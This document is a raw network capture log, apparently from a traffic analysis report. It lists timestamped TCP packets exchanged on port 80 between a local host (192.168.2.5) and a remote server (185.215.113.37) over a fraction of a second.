Oct 24, 2024 15:09:17.020322084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020333052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020364046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.020364046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.020406008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020420074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020430088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.020432949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020440102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020446062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020450115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.020458937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020474911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020492077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.020503998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020523071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020525932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.020535946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020546913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.020558119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020570040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020570040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.020581961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020595074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020606041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020607948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.020618916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020629883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.020631075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020646095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020653963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.020664930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020693064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.020698071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020709038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020713091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.020728111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020739079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020754099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.020777941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.020838976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020850897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020869017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020884991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020896912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020906925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020914078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.020914078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.020924091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020936012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020950079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.020953894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020967007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020972013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.020983934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.020994902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.021012068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021013975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.021024942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021035910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021043062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.021050930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021064997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021074057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.021075964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021114111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021121025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.021121025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.021126032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021140099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021161079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.021182060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.021254063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021265984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021301031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.021333933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.021413088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021425009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021435976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021452904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021465063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021470070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.021476030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021488905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021495104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.021501064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021513939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021516085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.021532059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021537066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.021545887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021557093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021557093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.021570921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021583080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021594048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021598101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.021611929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021616936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.021619081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021631002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021642923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021653891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021656036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.021666050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021677971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.021680117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021692038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021703959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.021704912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021703959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.021729946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.021744013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021758080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021775007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021775961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.021789074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021800995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.021807909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021821022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021827936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021831036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.021832943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021842003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021853924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021859884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021869898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021881104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021886110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.021900892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021905899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.021914005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021925926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.021933079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021945000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021949053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.021960974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021965981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.021975994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.021997929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.022012949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.022017956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.022026062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.022044897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.022054911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.022067070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.022077084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.022078991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.022083998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.022089005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.022094965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.022099972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.022121906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.022133112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.022149086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.022149086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.022149086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.022183895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.022274971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.022291899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.022304058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.022317886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.022337914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.022347927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.022349119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.022355080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.022372961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.022372961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.022386074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.022397995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.022408962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.022505999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.022505999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.022505999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.022506952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.023102999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023113966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023125887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023179054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023183107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.023183107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.023190975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023204088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023210049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023216963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023235083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.023237944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023251057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023262024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023273945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023288965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.023288965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.023303032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.023382902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023395061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023405075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023412943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023418903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023437977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023449898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023462057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023474932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023480892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.023490906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023500919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.023500919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.023507118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023541927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.023541927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.023580074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023591042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023603916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023617029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023628950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.023659945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.023718119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023758888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.023791075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023802996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023848057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.023869991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023883104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023895025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023912907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.023914099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023927927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023932934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.023941040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.023952007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.023969889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.024004936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024070978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024075985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.024085999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024121046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.024133921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.024204016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024256945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024266958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024302006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.024327040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.024378061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024445057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024503946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.024516106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024528027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024566889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024569035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.024580002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024595976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024610043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024619102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.024622917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024632931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.024636984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024661064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.024677038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.024677992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024693966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024704933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024717093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024729967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024736881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.024740934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024755001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024760008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.024766922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024779081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024799109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.024843931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.024876118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024887085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024907112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024916887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.024924994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024936914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024946928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024962902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.024962902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024971962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.024976015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.024987936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.025001049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.025017977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.025022030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.025022030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.025031090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.025041103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.025043964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.025058031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.025059938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.025074959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.025084019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.025087118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.025098085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.025109053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.025109053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.025120974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.025130987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.025132895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.025146008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.025147915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.025152922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.025201082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.025212049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.025227070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.025238991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.025249958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.025259972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.025276899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.025276899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.025306940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.025306940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.025327921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.137082100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137108088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137126923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137140036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137151957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137168884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137180090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137191057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137202024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137214899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137209892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.137255907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137269020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137276888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.137276888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.137276888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.137280941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137293100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137316942 CEST	49704	80	192.168.2.5	185.215.113.37
